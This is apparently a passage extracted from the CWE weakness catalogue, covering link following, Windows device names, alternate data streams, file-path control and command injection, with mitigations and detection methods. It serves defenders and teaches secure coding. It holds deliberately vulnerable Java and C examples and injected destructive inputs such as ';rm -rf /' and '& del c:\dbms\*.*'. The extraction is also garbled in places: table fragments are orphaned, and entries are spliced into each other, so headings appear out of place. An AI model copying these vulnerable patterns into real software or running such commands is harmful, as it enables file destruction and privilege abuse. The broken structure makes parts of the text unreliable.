• File/Directory

Functional Areas
• File processing, temporary files

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

CWE-60: UNIX Path Link Problems
Category ID: 60 (Category) Status: Draft

Description
Summary
Weaknesses in this category are related to improper handling of links within Unix-based operating systems.

Applicable Platforms
Languages
• All

Relationships
CWE-61: UNIX Symbolic Link (Symlink) Following

Description

Summary

The software, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description

A software system that allows UNIX symbolic links (symlink) as part of paths whether in internal code or through user input can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read/write/corrupt a file that they originally did not have permissions to access.

Alternate Terms

Symlink following
symlink vulnerability

Time of Introduction

• Implementation

Applicable Platforms

Languages

• All

Modes of Introduction

These are typically reported for temporary files or privileged programs.

Common Consequences

Confidentiality
Integrity
Read files or directories
Modify files or directories

Likelihood of Exploit

High to Very High

Observed Examples

Reference | Description
---|---
CVE-1999-1386 | Some versions of Perl follows symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.
CVE-2000-0972 | Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.
CVE-2000-1178 | Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.
CVE-2003-0517 | Symlink attack allows local users to overwrite files.
CVE-2004-0217 | Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a log file.
CVE-2004-0689 | Possible interesting example
CVE-2005-0824 | Signal causes a dump that follows symlinks.
CVE-2005-1879 | Second-order symlink vulnerabilities
CWE-62: UNIX Hard Link

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1880</td>
<td>Second-order symlink vulnerabilities</td>
</tr>
<tr>
<td>CVE-2005-1916</td>
<td>Symlink in Python program</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.

Architecture and Design

Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

<tr>
<td>Requires</td>
</tr>
<tr>
<td>Requires</td>
</tr>
<tr>
<td>Requires</td>
</tr>
<tr>
<td>Requires</td>
</tr>
<tr>
<td>Requires</td>
</tr>
</tbody>
</table>

Research Gaps
Symlink vulnerabilities are regularly found in C and shell programs, but all programming languages can have this problem. Even shell programs are probably under-reported.
"Second-order symlink vulnerabilities" may exist in programs that invoke other programs that follow symlinks. They are rarely reported but are likely to be fairly common when process invocation is used. Reference: [Christey2005]

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

CWE-62: UNIX Hard Link

Weakness ID: 62 (Weakness Variant)  Status: Incomplete
Description

Summary
The software, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description
Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g., /etc/passwd). When the process opens the file, the attacker can assume the privileges of that process.

Time of Introduction

CWE-64: Windows Shortcut Following (.LNK)

Weakness ID: 64 (Weakness Variant) Status: Incomplete

Description

Summary
The software, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description
The shortcut (file with the .lnk extension) can permit an attacker to read/write a file that they originally did not have permissions to access.

Alternate Terms
Windows symbolic link following
symlink

<td>980</td>
<td>SFP Secondary Cluster: Link in Resource Name Resolution</td>
<td>888</td>
</tr>
</tbody>
</table>

**Research Gaps**

Under-studied. Windows .LNK files are more "portable" than Unix symlinks and have been used in remote exploits. Some Windows API's will access LNK's as if they are regular files, so one would expect that they would be reported more frequently.

**Causal Nature**

**Explicit (an explicit weakness resulting from behavior of the developer)**

CWE-65: Windows Hard Link

Weakness ID: 65 (Weakness Variant) Status: Incomplete

Description

Summary
The software, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the software to operate on unauthorized files.

Extended Description
Failure for a system to check for hard links can result in vulnerability to different types of attacks. For example, an attacker can escalate their privileges if a file used by a privileged program is replaced with a hard link to a sensitive file (e.g. AUTOEXEC.BAT). When the process opens the file, the attacker can assume the privileges of that process, or prevent the program from accurately processing data.

Time of Introduction

</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0725</td>
<td>File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.</td>
</tr>
<tr>
<td>CVE-2003-0844</td>
<td>Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

CWE-66: Improper Handling of File Names that Identify Virtual Resources

Weakness ID: 66 (Weakness Base)  Status: Draft

Description

Summary
The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file.

Extended Description
Virtual file names are represented like normal file names, but they are effectively aliases for other resources that do not behave like normal files. Depending on their functionality, they could be alternate entities. They are not necessarily listed in directories.

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Fuzz Tester
- Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Architecture / Design Review

Taxonomy Mappings
CWE-67: Improper Handling of Windows Device Names

**Weakness ID:** 67 *(Weakness Variant)*  
**Status:** Incomplete

**Description**

**Summary**

The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.

**Extended Description**

Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A software system that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.

**CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream**

**Weakness ID:** 69 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**
The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).

**Extended Description**
An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Operating Systems**
- Windows

**Common Consequences**
- Access Control
- Non-Repudiation
- Other
- Bypass protection mechanism
- Hide activities
- Other

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0278</td>
<td>In IIS, remote attackers can obtain source code for ASP files by appending &quot;::$DATA&quot; to the URL.</td>
</tr>
<tr>
<td>CVE-2000-0927</td>
<td>Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Testing**
Software tools are capable of finding ADSs on your system.

**Implementation**
Ensure that the source code correctly parses the filename to read or write to the correct stream.

**Background Details**
Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.

<tbody>
<tr>
<td>PLOVER</td>
<td>DS - Apple <code>.DS_Store</code></td>
</tr>
</tbody>
</table>

Maintenance Notes

This entry, which originated from PLOVER, probably stems from a common manipulation that is used to exploit symlink and hard link following weaknesses, like /etc/passwd is often used for UNIX-based exploits. As such, it is probably too low-level for inclusion in CWE.

CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path

Weakness ID: 72 (Weakness Variant)  Status: Incomplete

Description

Summary

The software does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system.

Extended Description

If the software chooses actions to take based on the file name, then if an attacker provides the data or resource fork, the software may take unexpected actions. Further, if the software intends to restrict access to a file, then an attacker might still be able to bypass intended access restrictions by requesting the data or resource fork for that file.

Time of Introduction
CWE Version 2.11
CWE-73: External Control of File Name or Path

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Operating Systems
- Mac OS

Common Consequences
Confidentiality
Integrity
Read files or directories
Modify files or directories

Demonstrative Examples
A web server that interprets FILE.cgi as processing instructions could disclose the source code for FILE.cgi by requesting FILE.cgi/..namedfork/data. This might occur because the web server invokes the default handler which may return the contents of the file.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1084</td>
<td>Server allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+.</td>
</tr>
</tbody>
</table>

Background Details
The Apple HFS+ file system permits files to have multiple data input streams, accessible through special paths. The Mac OS X operating system provides a way to access the different data input streams through special paths and as an extended attribute:
- Data fork: file/..namedfork/data (only versions prior to Mac OS X v10.5)

Additionally, on filesystems that lack native support for multiple streams, the resource fork and file metadata may be stored in a file with "._" prepended to the name.
Forks can also be accessed through non-portable APIs.
Forks inherit the file system access controls of the file they belong to.

Programs need to control access to these paths, if the processing of a file system object is dependent on the structure of its path.

CWE-73: External Control of File Name or Path

Weakness ID: 73 (Weakness Class) Status: Draft
Description

Summary
The software allows user input to control or influence paths or file names that are used in filesystem operations.

Extended Description
This could allow an attacker to access or modify system files or other files that are critical to the application.

Path manipulation errors occur when the following two conditions are met:
1. An attacker can specify a path used in an operation on the filesystem.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.

For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms

Languages
• All

Operating Systems
• UNIX (Often)
• Windows (Often)
• Mac OS (Often)

Common Consequences

Integrity
Confidentiality
Read files or directories
Modify files or directories

The application can operate on unexpected files. Confidentiality is violated when the targeted filename is not directly readable by the attacker.

Integrity
Confidentiality
Availability
Modify files or directories
Execute unauthorized code or commands

The application can operate on unexpected files. This may violate integrity if the filename is written to, or if the filename is for a program or other form of executable code.

Availability
DoS: crash / exit / restart
DoS: resource consumption (other)

The application can operate on unexpected files. Availability can be violated if the attacker specifies an unexpected file that the application modifies. Availability can also be affected if the attacker specifies a filename for a large file, or points to a special device or a file that does not have the format that the application expects.

Likelihood of Exploit
High to Very High

Detection Methods
Automated Static Analysis
The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.
Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Demonstrative Examples

Example 1:
The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Java Example:
```java
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
  rFile.delete();
```

Example 2:
The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Java Example:
```java
fis = new FileInputStream(cfg.getProperty("sub")+.txt);
amt = fis.read(arr);
out.println(arr);
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-5748</td>
<td>Chain: external control of values for user's desired language and theme enables path traversal.</td>
</tr>
<tr>
<td>CVE-2008-5764</td>
<td>Chain: external control of user's target language enables remote file inclusion.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Architecture and Design
Operation
Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
CWE Version 2.11
CWE-73: External Control of File Name or Path

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "./" string.

Implementation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Installation

Operation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Operation

Implementation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing
Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Relationship Notes**

The external control of filenames can be the primary link in chains with other file-related weaknesses, as seen in the CanPrecede relationships. This is because software systems use files for many different purposes: to execute programs, load code libraries, to store application data, to store configuration settings, record temporary data, act as signals or semaphores to other processes, etc.

However, those weaknesses do not always require external control. For example, link-following weaknesses (CWE-59) often involve pathnames that are not controllable by the attacker at all. The external control can be resultant from other issues. For example, in PHP applications, the register_globals setting can allow an attacker to modify variables that the programmer thought were immutable, enabling file inclusion (CWE-98) and path traversal (CWE-22). Operating with excessive privileges (CWE-250) might allow an attacker to specify an input filename that is not directly readable by the attacker, but is accessible to the privileged program. A buffer overflow (CWE-119) might give an attacker control over nearby memory locations that are related to pathnames, but were not directly modifiable by the attacker.

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Weakness ID: 74 (Weakness Class) Status: Incomplete

Description
Summary
The software constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

Extended Description
Software has certain assumptions about what constitutes data and control respectively. It is the lack of verification of these assumptions for user-controlled input that leads to injection problems. Injection problems encompass a wide variety of issues -- all mitigated in very different ways and usually attempted in order to alter the control flow of the process. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Confidentiality
Read application data
Many injection attacks involve the disclosure of important information -- in terms of both data sensitivity and usefulness in further exploitation.

Access Control
Bypass protection mechanism
In some cases, injectable code controls authentication; this may lead to a remote vulnerability.

Other
Alter execution logic
Injection attacks are characterized by the ability to significantly change the flow of a given process, and in some cases, to the execution of arbitrary code.
Integrity
Other
Other
Data injection attacks lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing.

Non-Repudiation
Hide activities
Often the actions performed by injected control code are unlogged.

Likelihood of Exploit
Very High

Potential Mitigations
Requirements
Programming languages and supporting technologies might be chosen which are not subject to these issues.

Implementation
Utilize an appropriate mix of whitelist and blacklist parsing to filter control-plane syntax from all input.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

</tbody>
</table>
Relationship Notes
In the development view (CWE-699), this is classified as an Input Validation problem (CWE-20) because many people do not distinguish between the consequence/attack (injection) and the protection mechanism that prevents the attack from succeeding. In the research view (CWE-1000), however, input validation is only one potential protection mechanism (output encoding is another), and there is a chaining relationship between improper input validation and the improper enforcement of the structure of messages to other components. Other issues not directly related to input validation, such as race conditions, could similarly impact message structure.

Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

CWE-76: Improper Neutralization of Equivalent Special Elements

**Weakness ID:** 76 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**
The software properly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.

**Extended Description**
The software may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example,
the software may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some *nix systems could be expanded to an absolute pathname. Alternately, the software might filter a dangerous "-e" command-line switch when calling an external program, but it might not account for "--exec" or other switches that have the same semantics.

**CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')**

**Description**

**Summary**
- The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

**Extended Description**
- Command injection vulnerabilities typically occur when:
  1. Data enters the application from an untrusted source.
  2. The data is part of a string that is executed as a command by the application.
  3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

- Command injection is a common problem with wrapper programs.
Terminology Notes

The "command injection" phrase carries different meanings to different people. For some people, it refers to any type of attack that can allow the attacker to execute commands of their own choosing, regardless of how those commands are inserted. The command injection could thus be resultant from another weakness. This usage also includes cases in which the functionality allows the user to specify an entire command, which is then executed; within CWE, this situation might be better regarded as an authorization problem (since an attacker should not be able to specify arbitrary commands.)

Another common usage, which includes CWE-77 and its descendants, involves cases in which the attacker injects separators into the command being constructed.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- Language-independent

Common Consequences

Integrity
Confidentiality
Availability

Execute unauthorized code or commands

If a malicious user injects a character (such as a semi-colon) that delimits the end of one command and the beginning of another, it may be possible to then insert an entirely new and unrelated command that was not intended to be executed.

Likelihood of Exploit

Very High

Demonstrative Examples

Example 1:
The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

C Example:

```c
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Example 2:
The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

Java Example:

```java
... 
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K ");
```
CWE Version 2.11

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "& del c:\dbms\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

Example 3:
The following code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

Java Example:

```java
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
```

The code above allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

Example 4:
The following code is a wrapper around the UNIX command cat which prints the contents of a file to standard out. It is also injectable:

C Example:

```c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv) {
    char cat[] = "cat ";
    char *command;
    size_t commandLength;
    commandLength = strlen(cat) + strlen(argv[1]) + 1;
    command = (char *) malloc(commandLength);
    strncpy(command, cat, commandLength);
    strncat(command, argv[1], (commandLength - strlen(cat)));
    system(command);
    return (0);
}
```

Used normally, the output is simply the contents of the file requested:

```
$ ./catWrapper Story.txt
When last we left our heroes...
```

However, if we add a semicolon and another command to the end of this line, the command is executed by catWrapper with no complaint:

```
$ ./catWrapper Story.txt; ls
When last we left our heroes...
Story.txt
SensitiveFile.txt
PrivateData.db
```
a.out

If catWrapper had been set to have a higher privilege level than the standard user, arbitrary commands could be executed with that higher privilege.

Potential Mitigations

Architecture and Design
If at all possible, use library calls rather than external processes to recreate the desired functionality.

Implementation
If possible, ensure that all external commands called from the program are statically created.

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Operation
Run time: Run time policy enforcement may be used in a whitelist fashion to prevent use of any non-sanctioned commands.

System Configuration
Assign permissions to the software system that prevents the user from accessing/opening privileged files.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78 (Weakness Base)  Status: Draft

Description
Summary
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Extended Description
This could allow attackers to execute unexpected, dangerous commands directly on the operating system. This weakness can lead to a vulnerability in environments in which the attacker does not have direct access to the operating system, such as in web applications. Alternately, if the weakness occurs in a privileged program, it could allow the attacker to specify commands that normally would not be accessible, or to call alternate commands with privileges that the attacker does not have. The problem is exacerbated if the compromised process does not follow the principle of least privilege, because the attacker-controlled commands may run with special system privileges that increases the amount of damage.

There are at least two subtypes of OS command injection:

The application intends to execute a single, fixed program that is under its own control. It intends to use externally-supplied inputs as arguments to that program. For example, the program might use system("nslookup [HOSTNAME]") to run nslookup and allow the user to supply a HOSTNAME, which is used as an argument. Attackers cannot prevent nslookup from executing. However, if the program does not remove command separators from the HOSTNAME argument, attackers could place the separators into the arguments, which allows them to execute their own program after nslookup has finished executing.
The application accepts an input that it uses to fully select which program to run, as well as which commands to use. The application simply redirects this entire command to the operating system. For example, the program might use "exec([COMMAND])" to execute the [COMMAND] that was supplied by the user. If the COMMAND is under attacker control, then the attacker can execute arbitrary commands or programs. If the command is being executed using functions like exec() and CreateProcess(), the attacker might not be able to combine multiple commands together in the same line.

From a weakness standpoint, these variants represent distinct programmer errors. In the first variant, the programmer clearly intends that input from untrusted parties will be part of the arguments in the command to be executed. In the second variant, the programmer does not intend for the command to be accessible to any untrusted party, but the programmer probably has not accounted for alternate ways in which malicious attackers can provide input.

Alternate Terms
Shell injection
Shell metacharacters

Terminology Notes
The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• Language-independent

Common Consequences
Confidentiality
Integrity
Availability
Non-Repudiation
Execute unauthorized code or commands
DoS: crash / exit / restart
Read files or directories
Modify files or directories
Read application data
Modify application data
Hide activities
Attackers could execute unauthorized commands, which could then be used to disable the software, or read and modify data for which the attacker does not have permissions to access directly. Since the targeted application is directly executing the commands instead of the attacker, any malicious activities may appear to come from the application or the application's owner.

Likelihood of Exploit
High

Detection Methods
Automated Static Analysis
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke OS commands, leading to false negatives - especially if the API/library code is not available for analysis. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis
Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Static Analysis
High
Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Fuzz Tester
- Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Manual Source Code Review (not inspections)
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source
Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  - Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
Example 1:
